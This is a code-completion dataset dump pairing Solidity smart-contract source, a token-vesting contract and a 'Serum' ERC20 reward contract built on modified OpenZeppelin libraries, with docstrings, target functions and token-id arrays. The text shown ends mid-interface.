file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
pragma solidity ^0.4.24; library SafeMath { function mul(uint a, uint b) internal pure returns(uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns(uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns(uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns(uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns(uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns(uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns(uint256) { return a < b ? a : b; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns(uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns(uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title TokenVesting * @dev A contract can unlock token at designated time. */ contract VT201811003 { using SafeMath for uint256; event Released(uint256 amounts); event InvalidCaller(address caller); address public owner; address[] private _beneficiary ; uint256 private _locktime; uint256 private _unlocktime; uint256[] private _amount; constructor() public { owner = msg.sender; _unlocktime =0; } /* * MODIFIERS */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns(address[]) { return _beneficiary; } /** * @return the unlocktime time of the token vesting. */ function unlocktime() public view returns(uint256) { return _unlocktime; } /** * @return the locktime time of the token vesting. */ function locktime() public view returns(uint256) { return _locktime; } /** * @return the amount of the tokens. */ function amount() public view returns(uint256[]) { return _amount; } /** * @notice Setting lock time. */ function setLockTime(uint256 locktimeParam,uint256 unlocktimeParam) public onlyOwner{ _unlocktime = unlocktimeParam; _locktime = locktimeParam; } /** * @notice Setting UserInfo. */ function setUserInfo(address[] beneficiaryParam,uint256[] amountParam) public onlyOwner{ if( block.timestamp <=_locktime){ _beneficiary = beneficiaryParam; _amount = amountParam; } } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20 token) public { for(uint i = 0; i < _beneficiary.length; i++) { if(block.timestamp >= _unlocktime ){ token.transfer(_beneficiary[i], _amount[i].mul(10**18)); emit Released( _amount[i]); _amount[i]=0; } } } /** * @notice Release the unexpected token. * @param token ERC20 token which is being vested */ function checkRelease(ERC20 token) public { uint _unRelease = 0; for(uint i = 0; i < _amount.length; i++) { _unRelease = _unRelease.add(_amount[i]); } if(_unRelease==0 && block.timestamp >= _unlocktime ){ token.transfer(owner,token.balanceOf(this)); } } }
* @notice Setting UserInfo./
function setUserInfo(address[] beneficiaryParam,uint256[] amountParam) public onlyOwner{ if( block.timestamp <=_locktime){ _beneficiary = beneficiaryParam; _amount = amountParam; } }
12,724,920
[ 1, 5568, 25003, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14365, 966, 12, 2867, 8526, 27641, 74, 14463, 814, 786, 16, 11890, 5034, 8526, 225, 3844, 786, 13, 1071, 1338, 5541, 95, 203, 3639, 309, 12, 1203, 18, 5508, 1648, 67, 739, 957, 15329, 203, 2398, 389, 70, 4009, 74, 14463, 814, 273, 27641, 74, 14463, 814, 786, 31, 203, 202, 540, 389, 8949, 273, 3844, 786, 31, 203, 3639, 289, 203, 565, 289, 7010, 7010, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "./openzeppelin/token/ERC20/ERC20Upgradeable.sol"; import "./openzeppelin/access/AccessControlUpgradeable.sol"; import "./openzeppelin/security/PausableUpgradeable.sol"; import "./interface/IClaimable.sol"; import "./interface/ILabGame.sol"; error NotReady(); error NotOwned(address _account, uint256 _tokenId); error NotAuthorized(address _sender, address _expected); // Serum V2.0 contract Serum is ERC20Upgradeable, AccessControlUpgradeable, PausableUpgradeable, IClaimable { bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE"); uint256 constant GEN0_RATE = 1000 ether; uint256 constant GEN1_RATE = 1200 ether; uint256 constant GEN2_RATE = 1500 ether; uint256 constant GEN3_RATE = 2000 ether; uint256 constant GEN0_TAX = 100; // 10.0% uint256 constant GEN1_TAX = 125; // 12.5% uint256 constant GEN2_TAX = 150; // 15.0% uint256 constant GEN3_TAX = 200; // 20.0% uint256 constant CLAIM_PERIOD = 1 days; uint256 constant TOTAL_SUPPLY = 277750000 ether; // @since V2.0 mapping(uint256 => uint256) public tokenClaims; // tokenId => value uint256[4] mutantEarnings; uint256[4] mutantCounts; mapping(address => uint256) public pendingClaims; ILabGame public labGame; /** * Token constructor, sets owner permission * @param _name ERC20 token name * @param _symbol ERC20 token symbol */ function initialize( string memory _name, string memory _symbol ) public initializer { __ERC20_init(_name, _symbol); __AccessControl_init(); __Pausable_init(); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } // -- EXTERNAL -- /** * Claim rewards for owned tokens */ function claim() external override whenNotPaused { uint256 totalSerum = totalSupply(); if (totalSerum >= TOTAL_SUPPLY) revert NoClaimAvailable(_msgSender()); uint256 count = labGame.balanceOf(_msgSender()); uint256 amount; // Iterate wallet for scientists for (uint256 i; i < count; i++) { uint256 tokenId = labGame.tokenOfOwnerByIndex(_msgSender(), i); uint256 token = labGame.getToken(tokenId); amount += _claimScientist(tokenId, token & 3); } // Pay mutant tax amount = _payTax(amount); // Iterate wallet for mutants for (uint256 i; i < count; i++) { uint256 tokenId = labGame.tokenOfOwnerByIndex(_msgSender(), i); uint256 token = labGame.getToken(tokenId); if (token & 128 != 0) amount += _claimMutant(tokenId, token & 3); } // Include pending claim balance amount += pendingClaims[_msgSender()]; delete pendingClaims[_msgSender()]; // Verify amount and mint if (totalSerum + amount > TOTAL_SUPPLY) amount = TOTAL_SUPPLY - totalSerum; if (amount == 0) revert NoClaimAvailable(_msgSender()); _mint(_msgSender(), amount); emit Claimed(_msgSender(), amount); } /** * Calculate pending claim * @param _account Account to query pending claim for * @return amount Amount of claimable serum */ function pendingClaim(address _account) external view override returns (uint256 amount) { uint256 count = labGame.balanceOf(_account); uint256 untaxed; for (uint256 i; i < count; i++) { uint256 tokenId = labGame.tokenOfOwnerByIndex(_account, i); uint256 token = labGame.getToken(tokenId); if (token & 128 != 0) amount += mutantEarnings[token & 3] - tokenClaims[tokenId]; else untaxed += (block.timestamp - tokenClaims[tokenId]) * [ GEN0_RATE, GEN1_RATE, GEN2_RATE, GEN3_RATE ][token & 3] / CLAIM_PERIOD; } amount += _pendingTax(untaxed); amount += pendingClaims[_account]; } // -- LABGAME -- modifier onlyLabGame { if (address(labGame) == address(0)) revert NotReady(); if (_msgSender() != address(labGame)) revert NotAuthorized(_msgSender(), address(labGame)); _; } /** * Setup the intial value for a new token * @param _tokenId ID of the token */ function initializeClaim(uint256 _tokenId) external override onlyLabGame whenNotPaused { uint256 token = labGame.getToken(_tokenId); if (token & 128 != 0) { tokenClaims[_tokenId] = mutantEarnings[token & 3]; mutantCounts[token & 3]++; } else { tokenClaims[_tokenId] = block.timestamp; } } /** * Claim token and save in owners pending balance before token transfer * @param _account Owner of token * @param _tokenId Token ID */ function updateClaim(address _account, uint256 _tokenId) external override onlyLabGame whenNotPaused { // Verify ownership if (_account != labGame.ownerOf(_tokenId)) revert NotOwned(_msgSender(), _tokenId); uint256 amount; // Claim the token uint256 token = labGame.getToken(_tokenId); if ((token & 128) != 0) { amount = _claimMutant(_tokenId, token & 3); } else { amount = _claimScientist(_tokenId, token & 3); amount = _payTax(amount); } // Save to pending balance pendingClaims[_account] += amount; emit Updated(_account, _tokenId); } // -- INTERNAL -- /** * Claim scientist token rewards * @param _tokenId ID of the token * @param _generation Generation of the token * @return amount Amount of serum/blueprints for this token */ function _claimScientist(uint256 _tokenId, uint256 _generation) internal returns (uint256 amount) { amount = (block.timestamp - tokenClaims[_tokenId]) * [ GEN0_RATE, GEN1_RATE, GEN2_RATE, GEN3_RATE ][_generation] / CLAIM_PERIOD; tokenClaims[_tokenId] = block.timestamp; } /** * Claim mutant token rewards * @param _tokenId ID of the token * @param _generation Generation of the token * @return amount Amount of serum for this token */ function _claimMutant(uint256 _tokenId, uint256 _generation) internal returns (uint256 amount) { amount = (mutantEarnings[_generation] - tokenClaims[_tokenId]); tokenClaims[_tokenId] = mutantEarnings[_generation]; } /** * Pay mutant tax for an amount of serum * @param _amount Untaxed amount * @return Amount after tax */ function _payTax(uint256 _amount) internal returns (uint256) { uint256 amount = _amount; for (uint256 i; i < 4; i++) { uint256 mutantCount = mutantCounts[i]; if (mutantCount == 0) continue; uint256 tax = _amount * [ GEN0_TAX, GEN1_TAX, GEN2_TAX, GEN3_TAX ][i] / 1000; mutantEarnings[i] += tax / mutantCount; amount -= tax; } return amount; } /** * Calculates the tax for a pending claim amount * @param _amount Untaxed amount * @return Amount after tax */ function _pendingTax(uint256 _amount) internal view returns (uint256) { for (uint256 i; i < 4; i++) { uint256 mutantCount = mutantCounts[i]; if (mutantCount == 0) continue; uint256 tax = _amount * [ GEN0_TAX, GEN1_TAX, GEN2_TAX, GEN3_TAX ][i] / 1000; _amount -= tax; } return _amount; } // -- CONTROLLER -- /** * Mint tokens to an address * @param _to address to mint to * @param _amount number of tokens to mint */ function mint(address _to, uint256 _amount) external whenNotPaused onlyRole(CONTROLLER_ROLE) { _mint(_to, _amount); } /** * Burn tokens from an address * @param _from address to burn from * @param _amount number of tokens to burn */ function burn(address _from, uint256 _amount) external whenNotPaused onlyRole(CONTROLLER_ROLE) { _burn(_from, _amount); } // -- ADMIN -- /** * Set LabGame contract * @param _labGame Address of labgame contract */ function setLabGame(address _labGame) external onlyRole(DEFAULT_ADMIN_ROLE) { labGame = ILabGame(_labGame); } /** * Add address as a controller * @param _controller controller address */ function addController(address _controller) external onlyRole(DEFAULT_ADMIN_ROLE) { grantRole(CONTROLLER_ROLE, _controller); } /** * Remove address as a controller * @param _controller controller address */ function removeController(address _controller) external onlyRole(DEFAULT_ADMIN_ROLE) { revokeRole(CONTROLLER_ROLE, _controller); } /** * Pause the contract */ function pause() external onlyRole(DEFAULT_ADMIN_ROLE) { _pause(); } /** * Unpause the contract */ function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) { _unpause(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ error ERC20_DecreasedAllowanceBelowZero(); error ERC20_TransferFromZeroAddress(); error ERC20_TransferToZeroAddress(); error ERC20_TransferAmountExceedsBalance(uint256 amount, uint256 balance); error ERC20_MintToZeroAddress(); error ERC20_BurnFromZeroAddress(); error ERC20_BurnAmountExceedsBalance(uint256 amount, uint256 balance); error ERC20_ApproveFromZeroAddress(); error ERC20_ApproveToZeroAddress(); error ERC20_InsufficientAllowance(uint256 amount, uint256 allowance); contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; if (currentAllowance < subtractedValue) revert ERC20_DecreasedAllowanceBelowZero(); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { if (from == address(0)) revert ERC20_TransferFromZeroAddress(); if (to == address(0)) revert ERC20_TransferToZeroAddress(); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; if (fromBalance < amount) revert ERC20_TransferAmountExceedsBalance(amount, fromBalance); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { if (account == address(0)) revert ERC20_MintToZeroAddress(); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { if (account == address(0)) revert ERC20_BurnFromZeroAddress(); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; if (accountBalance < amount) revert ERC20_BurnAmountExceedsBalance(amount, accountBalance); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { if (owner == address(0)) revert ERC20_ApproveFromZeroAddress(); if (spender == address(0)) revert ERC20_ApproveToZeroAddress(); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < amount) revert ERC20_InsufficientAllowance(amount, currentAllowance); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ error AccessControl_MissingRole(address account, bytes32 role); error AccessControl_CanOnlyRenounceRolesForSelf(address account, address sender); abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert AccessControl_MissingRole(account, role); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { if (account != _msgSender()) revert AccessControl_CanOnlyRenounceRolesForSelf(account, _msgSender()); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ error Pausable_Paused(); error Pausable_NotPaused(); abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { if (paused()) revert Pausable_Paused(); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { if (!paused()) revert Pausable_NotPaused(); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; error NoClaimAvailable(address _account); interface IClaimable { function claim() external; function pendingClaim(address _account) external view returns (uint256); function initializeClaim(uint256 _tokenId) external; function updateClaim(address _account, 